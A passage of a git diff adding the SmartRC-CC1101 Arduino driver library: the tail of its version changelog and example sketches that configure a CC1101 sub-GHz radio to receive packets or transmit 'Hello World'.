issuses. + +Driver Library :HotFix for cc1101 module with "8pins"(example DSun). Transmitting on Esp8266 based bords not work. FIXED! + +Driver Library :Change "SpiReadStatus" to public. Now can read RSSI Level! + +Driver Library :Spi transfer rate was limited to cc1101 max transfer rate (10mhz). + +Driver Library :After using Spi, it will now be disabled. (receive data from serial monitor and rx pin was not working on Esp 8266/32) FIXED! + +Add Examples :ReceiveDemo_Simple_with_RSSI_cc1101.ino (Shows reception strength) + +Add Examples :Frequency_Scanner_cc1101.ino (Scans Transmitting frequency of your remotes. No good results with cc1101-DSun) + +Add Examples :ProtocolAnalyzeDemo_cc1101.ino (for scan unknown protokolls. Requires: link is in sketch!) + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V2.1 +--------------------------------------------- +3.1.2019 + +Driver Library :Spi corrections for esp32. Spi Pin changes did not work on esp32. FIXED! + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V2.0 +--------------------------------------------- +18.12.2018 + +Driver Library :Own Spi pin settings possible. Allows the use of other microcontrollers. Allows you to use multiple CC1101s. More information in the commands.txt + +Add TXT :driver lib commands and examples.txt + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.9.3 +--------------------------------------------- +27.11.2018 + +Driver Library :setESP8266 has been removed. Pins are set automatically with the init command. + +Driver Library :Arduino mega SPI pins added. + +Driver Library :Added setGDO pins (For libraries that directly address the GDO pins).Like this https://github.com/EinfachArne/Somfy_Remote . + Example ELECHOUSE_CC1101.setGDO(2, 4); // (pin2 = GDO0, pin4 = GDO2). + +Add Wiring TXT :WIRING MEGA.txt + +Add Wiring JPG :WIRING MEGA.jpg + +LICENSE :LICENSE.txt Update. + +notes :setGDO is not compatible with RC_Switch / NewRemotSwitch. + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.9.2 +--------------------------------------------- +16.11.2018 + +Fixes Remotes Fusion :Receive mode and Repeater mode frequency, changes to the transmitter frequency after pressing on a transmitter. (RemotesFusion.ino)Fixed! + +NewRemoteSwitch :LearnCode_cc1101.ino (corrections). + +Added :Keywords.txt added. + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.9.1 +--------------------------------------------- +07.11.2018 + +New Sketch :Clear_EEPROM.ino (if there are problems with the access point password or if you want to use your ESP for other projects). + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.9 +--------------------------------------------- +18.10.2018 + +New Sketch :RemotesFusion.ino. + +New Apk´s :RemotesFusion_V1_en.apk / RemotesFusion_V1_de.apk. + +Add Docs :Docs and manuals for RemotesFusion. + +Changes :channel spacing and channel set was removed from the examples. unnecessary because exact frequency can be set. + +notes :RemotesFusion is an application with which Rc-Switch and NewRemoteSwitch can be controlled at the same time. + A universal remote control APP with many possibilities. Only for Esp 8266/32 modules! For more information, watch the docs. + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.8 +--------------------------------------------- +[Download Release V1.8](https://drive.google.com/file/d/1ADKOmW0SrUoomeoDskFrm0J2SdwCLB_O/view?usp=sharing) + +02.09.2018 + +Driver Library :Added pin settings for esp32. + +Examples :Added pin settings for esp32 examples. + +Add Wiring JPG :Add Wiring JPG esp32. + +Add Wiring TXT :Add Wiring TXT esp32. + +Add Wiring JPG :Add Wiring JPG esp32 for Receive_Send_Decimal_Demo_Simple.ino. + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.7.2 +--------------------------------------------- +[Download Release V1.7.2](https://drive.google.com/file/d/1sfMvQw2JaGARTaYXZevOjB20BFOMS0tw/view?usp=sharing) + +16.08.2018 + +Examples :All NewRemoteSwitch examples are compatible with ESP. Exception Retransmitter_cc1101.ino. + +Driver Library :Frequency calculator calibrated. Difference -0.01 MHz. (Fixed!) Frequency is now accurate. + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.7.1 +--------------------------------------------- +[Download Release V1.7.1](https://drive.google.com/file/d/1PXa1k0AIDY8bTMxFyyQMbOljijhIn1ke/view?usp=sharing) + +10.08.2018 + +Driver Library :Now you can Switch the frequency in loop. Examples: ELECHOUSE_cc1101.SetTx(433.92); and ELECHOUSE_cc1101.SetRx(433.92);. + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.7 +--------------------------------------------- +[Download Release V1.7](https://drive.google.com/file/d/1uxACfe1ZUrkL4S3_NPVN0DmUfzbxt6oQ/view?usp=sharing) + +09.08.2018 + +Driver Library :Now you can enter your base frequency directly.The library calculates the settings automatically. example(433.92) + +Driver Library :Remove freq2, freq1 and freq0 Settings. + +Driver Library :Removed unnecessary entries. the library shrank from 32,8kb(.cpp) and 9,38kb(.h) to 17,0kb(.cpp) and 7,87kb(.h). + +New Example :(NewRemoteSwitch Library) NewRemoteRepeater.ino. Repeat the Received signal 1to1. Best thanks to Roman for write it. + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.6.1 +--------------------------------------------- +[Download Release V1.6.1](https://drive.google.com/file/d/1q8FV5kDnhAj1SMZf6DS0wDcm5xo4E-5-/view?usp=sharing) + +05.08.2018 + +Examples Fix (rc-switch):Fix auto receive pulse. Received pulse don´t transmit. Fixed!(Repeater.ino and Receive_Send_Decimal_Demo_Simple.ino). + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.6 +--------------------------------------------- +[Download Release V1.6](https://drive.google.com/file/d/1p_iAxh7ZWlNWhFoqMM_tlLTLdyGK07-a/view?usp=sharing) + +03.08.2018 + +Esp8266 :Compatibility for all RC switch examples. + +Driver Library :Add the GDO2 pin for Receive. Change GDO0 to send. + +Wiring changes :Description in jpg's and txt's. + +Examples :All examples have been adjusted. + +Examples :Esp and Arduino are set automatically. + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.5 +--------------------------------------------- +[Download Release V1.5](https://drive.google.com/file/d/1XcGPbvI5v2PcpnVBbjtOFwtuJtx3jMK4/view?usp=sharing) + +31.07.2018 + +New :Supportet NewRemoteSwitch Library. For wireless sockets by trust smart home, Smappee, DI-O Chacon, Intertechno and others. + You want to use it? Then you need that https://github.com/1technophile/NewRemoteSwitch + +Add Examples :NewRemoteSwitch Compatible examples. + +Driver Library :You can now switch directly from Tx to Rx in the loop. Without resetting the cc1101. + +Add Examples :New Repeater Example for Rc-switch. For example, to increase the range of your remote control. + +Example changes :Receive_Send_Decimal_Demo_Simple.ino (remove unnecessary commands). + +Examples Fix :Rc-Switch examples fix TypeA, TypeB and TypeD (missing from semicolon to SetTx). + +Notes :NewRemoteSwitch examples Retransmitter_cc1101.ino and LightShow_cc1101.ino only Arduino!!! + +Notes :Rc-switch example Repeater_cc1101.ino only Arduino!!! + +Notes :Rc-switch example Receive_Send_Decimal_Demo_Simple.ino only Arduino!!! + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.4 +--------------------------------------------- +[Download Release V1.4](https://drive.google.com/file/d/1nAPGeQSutfskirJsng44adB4sXU1YU6A/view?usp=sharing) + +26.07.2018 + +Driver Library :esp8266 Compatibility (Tested with Wemos d1 mini). + +Driver Library :Change default Receive filter bandwidth to 812khz (max). + +Driver Library :Change default Tx Power to PA10 (max). + +Examples :Add set esp command and pin settings. + +Examples :Diskription change. + +Demo Example :Add auto Recive and Send pulse length. (Receive_Send_Decimal_Demo_Simple.ino) + +Add Wiring JPG :Add Wiring JPG esp8266. + +Add Wiring TXT :Add Wiring TXT esp8266. + +Notes :esp8266 pin D4 don´t work with receive, Transmit and receive is set to D2. + +Notes :esp8266 don´t work with Receive_Send_Decimal_Demo_Simple.ino (freezes when reset cc1101). + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.3.1 +--------------------------------------------- +[Download Release V1.3.1](https://drive.google.com/file/d/1iKmagldd14O1Boa9Z_PDpXbHRECYUPdt/view?usp=sharing) + +30.03.2018: + +Driver Library Fix :no effect set by transmission power. + +Driver Library :Transmitting power can be adjusted via frequency(example in the sketches). + +Examples :Command Tx Power cleared. + +Examples Fix :set Receive filter bandwidth (command incomplete) Fixed. + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.3 +--------------------------------------------- +[Download Release V1.3](https://drive.google.com/file/d/1q56Qewk8-Aquv1epss1gd7Gc05q4GrbO/view?usp=sharing) + +25.03.2018: + +Driver Library :Add Channel List. Now you can set channel numbers 0-255. + +Driver Library :Add bandwidth can be adjusted + +Driver Library :transmission power can be adjusted + +Driver Library :can set your own frequency settings (freq2, freq1, freq0) + +Driver Library :Channel spacing can be set. + +Examples :Add set new commands + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.2 +--------------------------------------------- +[Download Release V1.2](https://drive.google.com/file/d/1KLJt8ygszj9rqcttiEMt5zCnJKHc_qe3/view?usp=sharing) + +20.03.2018: + +Driver Library :Add 315Mhz Support. + +Driver Library :Add Channel command for finetune (80khz steps) from 420mhz - 440mhz / 302mhz - 322mhz. + +Examples :Add set channel command in examples. + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.1 +--------------------------------------------- +[Download Release V1.1](https://drive.google.com/file/d/1uZzcY4uoduiUjFZzXdxA-ucLoA_TtC1f/view?usp=sharing) + +19.03.2018: + +Driver Library Fix :Calibrated Frequency from 433.86 to 433.92 - 433.93 Mhz. + +Driver Library :cc1101 reset command added (allows switching between send and receive.) + +New Demo Example :Receive_Send_Decimal_Demo_Simple.ino (Sends last received decimal code) + To illustrate the change between RX and TX (press button = send / do not press button = receive) + +Add Wiring JPG :Wiring for Receive_Send_Decimal_Demo_Simple.ino + +Add Wiring JPG :Wiring for Nano / Uno + + +--------------------------------------------- +Changelog: RCSwitch-CC1101-Driver-Lib_V1.0 +--------------------------------------------- +[Download Release V1.0](https://drive.google.com/file/d/14538RtiEakZ_8yioXJT32XneheSjDqxi/view?usp=sharing) + +18.03.2018: + +cc1101 Compatibility for RC-Switch. + +cc1101 RC-Switch Compatible examples. diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Receive_method_advanced/cc1101_New_Receive_method_advanced.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Receive_method_advanced/cc1101_New_Receive_method_advanced.ino new file mode 100644 index 0000000..b0cc360 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Receive_method_advanced/cc1101_New_Receive_method_advanced.ino @@ -0,0 +1,81 @@ +//New receiving method. This method checks the Rx Fifo for any data it contains. +//It allows you to do several things in a loop. +//In addition, the gdo0 and gdo2 pin are not required. +//https://github.com/LSatan/SmartRC-CC1101-Driver-Lib +//by Little_S@tan +#include + +void setup(){ + + Serial.begin(9600); + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! + ELECHOUSE_cc1101.setCCMode(1); // set config for internal transmission mode. + ELECHOUSE_cc1101.setModulation(0); // set modulation mode. 0 = 2-FSK, 1 = GFSK, 2 = ASK/OOK, 3 = 4-FSK, 4 = MSK. + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.setDeviation(47.60); // Set the Frequency deviation in kHz. Value from 1.58 to 380.85. Default is 47.60 kHz. + ELECHOUSE_cc1101.setChannel(0); // Set the Channelnumber from 0 to 255. Default is cahnnel 0. + ELECHOUSE_cc1101.setChsp(199.95); // The channel spacing is multiplied by the channel number CHAN and added to the base frequency in kHz. Value from 25.39 to 405.45. Default is 199.95 kHz. + ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. + ELECHOUSE_cc1101.setDRate(99.97); // Set the Data Rate in kBaud. Value from 0.02 to 1621.83. Default is 99.97 kBaud! + ELECHOUSE_cc1101.setPA(10); // Set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setSyncMode(2); // Combined sync-word qualifier mode. 0 = No preamble/sync. 1 = 16 sync word bits detected. 2 = 16/16 sync word bits detected. 3 = 30/32 sync word bits detected. 4 = No preamble/sync, carrier-sense above threshold. 5 = 15/16 + carrier-sense above threshold. 6 = 16/16 + carrier-sense above threshold. 7 = 30/32 + carrier-sense above threshold. + ELECHOUSE_cc1101.setSyncWord(211, 145); // Set sync word. Must be the same for the transmitter and receiver. (Syncword high, Syncword low) + ELECHOUSE_cc1101.setAdrChk(0); // Controls address check configuration of received packages. 0 = No address check. 1 = Address check, no broadcast. 2 = Address check and 0 (0x00) broadcast. 3 = Address check and 0 (0x00) and 255 (0xFF) broadcast. + ELECHOUSE_cc1101.setAddr(0); // Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF). + ELECHOUSE_cc1101.setWhiteData(0); // Turn data whitening on / off. 0 = Whitening off. 1 = Whitening on. + ELECHOUSE_cc1101.setPktFormat(0); // Format of RX and TX data. 0 = Normal mode, use FIFOs for RX and TX. 1 = Synchronous serial mode, Data in on GDO0 and data out on either of the GDOx pins. 2 = Random TX mode; sends random data using PN9 generator. Used for test. Works as normal mode, setting 0 (00), in RX. 3 = Asynchronous serial mode, Data in on GDO0 and data out on either of the GDOx pins. + ELECHOUSE_cc1101.setLengthConfig(1); // 0 = Fixed packet length mode. 1 = Variable packet length mode. 2 = Infinite packet length mode. 3 = Reserved + ELECHOUSE_cc1101.setPacketLength(0); // Indicates the packet length when fixed packet length mode is enabled. If variable packet length mode is used, this value indicates the maximum packet length allowed. + ELECHOUSE_cc1101.setCrc(1); // 1 = CRC calculation in TX and CRC check in RX enabled. 0 = CRC disabled for TX and RX. + ELECHOUSE_cc1101.setCRC_AF(0); // Enable automatic flush of RX FIFO when CRC is not OK. This requires that only one packet is in the RXIFIFO and that packet length is limited to the RX FIFO size. + ELECHOUSE_cc1101.setDcFilterOff(0); // Disable digital DC blocking filter before demodulator. Only for data rates ≤ 250 kBaud The recommended IF frequency changes when the DC blocking is disabled. 1 = Disable (current optimized). 0 = Enable (better sensitivity). + ELECHOUSE_cc1101.setManchester(0); // Enables Manchester encoding/decoding. 0 = Disable. 1 = Enable. + ELECHOUSE_cc1101.setFEC(0); // Enable Forward Error Correction (FEC) with interleaving for packet payload (Only supported for fixed packet length mode. 0 = Disable. 1 = Enable. + ELECHOUSE_cc1101.setPRE(0); // Sets the minimum number of preamble bytes to be transmitted. Values: 0 : 2, 1 : 3, 2 : 4, 3 : 6, 4 : 8, 5 : 12, 6 : 16, 7 : 24 + ELECHOUSE_cc1101.setPQT(0); // Preamble quality estimator threshold. The preamble quality estimator increases an internal counter by one each time a bit is received that is different from the previous bit, and decreases the counter by 8 each time a bit is received that is the same as the last bit. A threshold of 4∙PQT for this counter is used to gate sync word detection. When PQT=0 a sync word is always accepted. + ELECHOUSE_cc1101.setAppendStatus(0); // When enabled, two status bytes will be appended to the payload of the packet. The status bytes contain RSSI and LQI values, as well as CRC OK. + + Serial.println("Rx Mode"); +} + +byte buffer[61] = {0}; + +void loop(){ + + //Checks whether something has been received. + //When something is received we give some time to receive the message in full.(time in millis) + if (ELECHOUSE_cc1101.CheckRxFifo(100)){ + + //CRC Check. If "setCrc(false)" crc returns always OK! + if (ELECHOUSE_cc1101.CheckCRC()){ + + //Rssi Level in dBm + Serial.print("Rssi: "); + Serial.println(ELECHOUSE_cc1101.getRssi()); + + //Link Quality Indicator + Serial.print("LQI: "); + Serial.println(ELECHOUSE_cc1101.getLqi()); + + //Get received Data and calculate length + int len = ELECHOUSE_cc1101.ReceiveData(buffer); + buffer[len] = '\0'; + + //Print received in char format. + Serial.println((char *) buffer); + + //Print received in bytes format. + for (int i = 0; i + +void setup(){ + + Serial.begin(9600); + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! + ELECHOUSE_cc1101.setCCMode(1); // set config for internal transmission mode. + ELECHOUSE_cc1101.setModulation(0); // set modulation mode. 0 = 2-FSK, 1 = GFSK, 2 = ASK/OOK, 3 = 4-FSK, 4 = MSK. + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.setSyncMode(2); // Combined sync-word qualifier mode. 0 = No preamble/sync. 1 = 16 sync word bits detected. 2 = 16/16 sync word bits detected. 3 = 30/32 sync word bits detected. 4 = No preamble/sync, carrier-sense above threshold. 5 = 15/16 + carrier-sense above threshold. 6 = 16/16 + carrier-sense above threshold. 7 = 30/32 + carrier-sense above threshold. + ELECHOUSE_cc1101.setCrc(1); // 1 = CRC calculation in TX and CRC check in RX enabled. 0 = CRC disabled for TX and RX. + + Serial.println("Rx Mode"); +} +byte buffer[61] = {0}; + +void loop(){ + + //Checks whether something has been received. + //When something is received we give some time to receive the message in full.(time in millis) + if (ELECHOUSE_cc1101.CheckRxFifo(100)){ + + if (ELECHOUSE_cc1101.CheckCRC()){ //CRC Check. If "setCrc(false)" crc returns always OK! + Serial.print("Rssi: "); + Serial.println(ELECHOUSE_cc1101.getRssi()); + Serial.print("LQI: "); + Serial.println(ELECHOUSE_cc1101.getLqi()); + + int len = ELECHOUSE_cc1101.ReceiveData(buffer); + buffer[len] = '\0'; + Serial.println((char *) buffer); + for (int i = 0; i + +byte transmitt_byte[11] = {72,101,108,108,111,32,87,111,114,108,100}; +char *transmitt_char = "Hello World"; + +void setup() { + + Serial.begin(9600); + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! + ELECHOUSE_cc1101.setCCMode(1); // set config for internal transmission mode. + ELECHOUSE_cc1101.setModulation(0); // set modulation mode. 0 = 2-FSK, 1 = GFSK, 2 = ASK/OOK, 3 = 4-FSK, 4 = MSK. + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.setDeviation(47.60); // Set the Frequency deviation in kHz. Value from 1.58 to 380.85. Default is 47.60 kHz. + ELECHOUSE_cc1101.setChannel(0); // Set the Channelnumber from 0 to 255. Default is cahnnel 0. + ELECHOUSE_cc1101.setChsp(199.95); // The channel spacing is multiplied by the channel number CHAN and added to the base frequency in kHz. Value from 25.39 to 405.45. Default is 199.95 kHz. + ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. + ELECHOUSE_cc1101.setDRate(99.97); // Set the Data Rate in kBaud. Value from 0.02 to 1621.83. Default is 99.97 kBaud! + ELECHOUSE_cc1101.setPA(10); // Set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setSyncMode(2); // Combined sync-word qualifier mode. 0 = No preamble/sync. 1 = 16 sync word bits detected. 2 = 16/16 sync word bits detected. 3 = 30/32 sync word bits detected. 4 = No preamble/sync, carrier-sense above threshold. 5 = 15/16 + carrier-sense above threshold. 6 = 16/16 + carrier-sense above threshold. 7 = 30/32 + carrier-sense above threshold. + ELECHOUSE_cc1101.setSyncWord(211, 145); // Set sync word. Must be the same for the transmitter and receiver. (Syncword high, Syncword low) + ELECHOUSE_cc1101.setAdrChk(0); // Controls address check configuration of received packages. 0 = No address check. 1 = Address check, no broadcast. 2 = Address check and 0 (0x00) broadcast. 3 = Address check and 0 (0x00) and 255 (0xFF) broadcast. + ELECHOUSE_cc1101.setAddr(0); // Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF). + ELECHOUSE_cc1101.setWhiteData(0); // Turn data whitening on / off. 0 = Whitening off. 1 = Whitening on. + ELECHOUSE_cc1101.setPktFormat(0); // Format of RX and TX data. 0 = Normal mode, use FIFOs for RX and TX. 1 = Synchronous serial mode, Data in on GDO0 and data out on either of the GDOx pins. 2 = Random TX mode; sends random data using PN9 generator. Used for test. Works as normal mode, setting 0 (00), in RX. 3 = Asynchronous serial mode, Data in on GDO0 and data out on either of the GDOx pins. + ELECHOUSE_cc1101.setLengthConfig(1); // 0 = Fixed packet length mode. 1 = Variable packet length mode. 2 = Infinite packet length mode. 3 = Reserved + ELECHOUSE_cc1101.setPacketLength(0); // Indicates the packet length when fixed packet length mode is enabled. If variable packet length mode is used, this value indicates the maximum packet length allowed. + ELECHOUSE_cc1101.setCrc(1); // 1 = CRC calculation in TX and CRC check in RX enabled. 0 = CRC disabled for TX and RX. + ELECHOUSE_cc1101.setCRC_AF(0); // Enable automatic flush of RX FIFO when CRC is not OK. This requires that only one packet is in the RXIFIFO and that packet length is limited to the RX FIFO size. + ELECHOUSE_cc1101.setDcFilterOff(0); // Disable digital DC blocking filter before demodulator. Only for data rates ≤ 250 kBaud The recommended IF frequency changes when the DC blocking is disabled. 1 = Disable (current optimized). 0 = Enable (better sensitivity). + ELECHOUSE_cc1101.setManchester(0); // Enables Manchester encoding/decoding. 0 = Disable. 1 = Enable. + ELECHOUSE_cc1101.setFEC(0); // Enable Forward Error Correction (FEC) with interleaving for packet payload (Only supported for fixed packet length mode. 0 = Disable. 1 = Enable. + ELECHOUSE_cc1101.setPRE(0); // Sets the minimum number of preamble bytes to be transmitted. Values: 0 : 2, 1 : 3, 2 : 4, 3 : 6, 4 : 8, 5 : 12, 6 : 16, 7 : 24 + ELECHOUSE_cc1101.setPQT(0); // Preamble quality estimator threshold. The preamble quality estimator increases an internal counter by one each time a bit is received that is different from the previous bit, and decreases the counter by 8 each time a bit is received that is the same as the last bit. A threshold of 4∙PQT for this counter is used to gate sync word detection. When PQT=0 a sync word is always accepted. + ELECHOUSE_cc1101.setAppendStatus(0); // When enabled, two status bytes will be appended to the payload of the packet. The status bytes contain RSSI and LQI values, as well as CRC OK. + + Serial.println("Tx Mode"); +} + +void loop() { + +//3 different methods to send data without gdo +//When sending, we give a little time to completely transmit the message (time in millis). +//You can shorten the time. It depends on the data rate and the packet length. Just try it out for fine tuning. + +//Transmitt "Hello World" from byte format. +ELECHOUSE_cc1101.SendData(transmitt_byte, 11, 100); +delay(2000); + +//Transmitt "Hello World" from char format. +ELECHOUSE_cc1101.SendData(transmitt_char, 100); +delay(2000); + +//Transmitt "Hello World" from char format directly. +ELECHOUSE_cc1101.SendData("Hello World", 100); +delay(2000); +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Transmitt_method_Hello_World_minimal/cc1101_New_Transmitt_method_Hello_World_minimal.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Transmitt_method_Hello_World_minimal/cc1101_New_Transmitt_method_Hello_World_minimal.ino new file mode 100644 index 0000000..f6bc44a --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Transmitt_method_Hello_World_minimal/cc1101_New_Transmitt_method_Hello_World_minimal.ino @@ -0,0 +1,48 @@ +//New transmission method. +//In addition, the gdo0 and gdo2 pin are not required. +//https://github.com/LSatan/SmartRC-CC1101-Driver-Lib +//by Little_S@tan +#include + +byte transmitt_byte[11] = {72,101,108,108,111,32,87,111,114,108,100}; +char *transmitt_char = "Hello World"; + +void setup() { + + Serial.begin(9600); + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! + ELECHOUSE_cc1101.setCCMode(1); // set config for internal transmission mode. + ELECHOUSE_cc1101.setModulation(0); // set modulation mode. 0 = 2-FSK, 1 = GFSK, 2 = ASK/OOK, 3 = 4-FSK, 4 = MSK. + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.setSyncMode(2); // Combined sync-word qualifier mode. 0 = No preamble/sync. 1 = 16 sync word bits detected. 2 = 16/16 sync word bits detected. 3 = 30/32 sync word bits detected. 4 = No preamble/sync, carrier-sense above threshold. 5 = 15/16 + carrier-sense above threshold. 6 = 16/16 + carrier-sense above threshold. 7 = 30/32 + carrier-sense above threshold. + // ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setCrc(1); // 1 = CRC calculation in TX and CRC check in RX enabled. 0 = CRC disabled for TX and RX. + + Serial.println("Tx Mode"); +} + +void loop() { + +//3 different methods to send data without gdo +//When sending, we give a little time to completely transmit the message (time in millis). +//You can shorten the time. It depends on the data rate and the packet length. Just try it out for fine tuning. + +//Transmitt "Hello World" from byte format. +ELECHOUSE_cc1101.SendData(transmitt_byte, 11, 100); +delay(2000); + +//Transmitt "Hello World" from char format. +ELECHOUSE_cc1101.SendData(transmitt_char, 100); +delay(2000); + +//Transmitt "Hello World" from char format directly. +ELECHOUSE_cc1101.SendData("Hello World", 100); +delay(2000); +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Transmitt_method_Serial_advanced/cc1101_New_Transmitt_method_Serial_advanced.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Transmitt_method_Serial_advanced/cc1101_New_Transmitt_method_Serial_advanced.ino new file mode 100644 index 0000000..addea34 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/CC1101 default examples/New_Method_without_GDO/cc1101_New_Transmitt_method_Serial_advanced/cc1101_New_Transmitt_method_Serial_advanced.ino @@ -0,0 +1,68 @@ +//New transmission method. +//In addition, the gdo0 and gdo2 pin are not required. +//https://github.com/LSatan/SmartRC-CC1101-Driver-Lib +//by Little_S@tan + +#include + +const int n = 61; +byte buffer[n] = ""; + +void setup() { + + Serial.begin(9600); + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! + ELECHOUSE_cc1101.setCCMode(1); // set config for internal transmission mode. + ELECHOUSE_cc1101.setModulation(0); // set modulation mode. 0 = 2-FSK, 1 = GFSK, 2 = ASK/OOK, 3 = 4-FSK, 4 = MSK. + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + ELECHOUSE_cc1101.setDeviation(47.60); // Set the Frequency deviation in kHz. Value from 1.58 to 380.85. Default is 47.60 kHz. + ELECHOUSE_cc1101.setChannel(0); // Set the Channelnumber from 0 to 255. Default is cahnnel 0. + ELECHOUSE_cc1101.setChsp(199.95); // The channel spacing is multiplied by the channel number CHAN and added to the base frequency in kHz. Value from 25.39 to 405.45. Default is 199.95 kHz. + ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. + ELECHOUSE_cc1101.setDRate(99.97); // Set the Data Rate in kBaud. Value from 0.02 to 1621.83. Default is 99.97 kBaud! + ELECHOUSE_cc1101.setPA(10); // Set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setSyncMode(2); // Combined sync-word qualifier mode. 0 = No preamble/sync. 1 = 16 sync word bits detected. 2 = 16/16 sync word bits detected. 3 = 30/32 sync word bits detected. 4 = No preamble/sync, carrier-sense above threshold. 5 = 15/16 + carrier-sense above threshold. 6 = 16/16 + carrier-sense above threshold. 7 = 30/32 + carrier-sense above threshold. + ELECHOUSE_cc1101.setSyncWord(211, 145); // Set sync word. Must be the same for the transmitter and receiver. (Syncword high, Syncword low) + ELECHOUSE_cc1101.setAdrChk(0); // Controls address check configuration of received packages. 0 = No address check. 1 = Address check, no broadcast. 2 = Address check and 0 (0x00) broadcast. 3 = Address check and 0 (0x00) and 255 (0xFF) broadcast. + ELECHOUSE_cc1101.setAddr(0); // Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF). + ELECHOUSE_cc1101.setWhiteData(0); // Turn data whitening on / off. 0 = Whitening off. 1 = Whitening on. + ELECHOUSE_cc1101.setPktFormat(0); // Format of RX and TX data. 0 = Normal mode, use FIFOs for RX and TX. 1 = Synchronous serial mode, Data in on GDO0 and data out on either of the GDOx pins. 2 = Random TX mode; sends random data using PN9 generator. Used for test. Works as normal mode, setting 0 (00), in RX. 3 = Asynchronous serial mode, Data in on GDO0 and data out on either of the GDOx pins. + ELECHOUSE_cc1101.setLengthConfig(1); // 0 = Fixed packet length mode. 1 